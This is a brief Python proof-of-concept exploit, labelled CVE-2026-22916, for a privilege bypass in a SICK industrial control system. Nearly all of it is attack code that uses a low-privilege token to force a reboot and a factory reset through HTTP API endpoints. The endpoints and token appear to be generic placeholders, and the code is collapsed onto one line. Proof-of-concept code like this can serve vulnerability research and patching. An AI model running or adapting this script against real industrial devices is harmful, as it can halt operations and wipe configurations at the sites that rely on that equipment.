CVE-2026-22916

import requests import json # CVE-2026-22916 PoC - SICK Product Privilege Bypass # Target: SICK industrial control system # Vulnerability: Low-privilege users can trigger reboot/factory reset TARGET_IP = "target_ip" TARGET_PORT = 8080 BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}" def trigger_reboot(): """Trigger system reboot without proper authorization""" endpoint = f"{BASE_URL}/api/system/reboot" headers = { "Content-Type": "application/json", "Authorization": "Bearer low_privilege_token" } payload = {"command": "reboot", "force": True} response = requests.post(endpoint, json=payload, headers=headers, timeout=30) return response.status_code, response.text def trigger_factory_reset(): """Trigger factory reset without proper authorization""" endpoint = f"{BASE_URL}/api/system/reset" headers = { "Content-Type": "application/json", "Authorization": "Bearer low_privilege_token" } payload = {"action": "factory_reset", "confirm": True} response = requests.post(endpoint, json=payload, headers=headers, timeout=30) return response.status_code, response.text if __name__ == "__main__": print("CVE-2026-22916 PoC - Testing privilege bypass...") status, resp = trigger_reboot() print(f"Reboot trigger: Status {status}, Response: {resp}") status, resp = trigger_factory_reset() print(f"Factory reset trigger: Status {status}, Response: {resp}")

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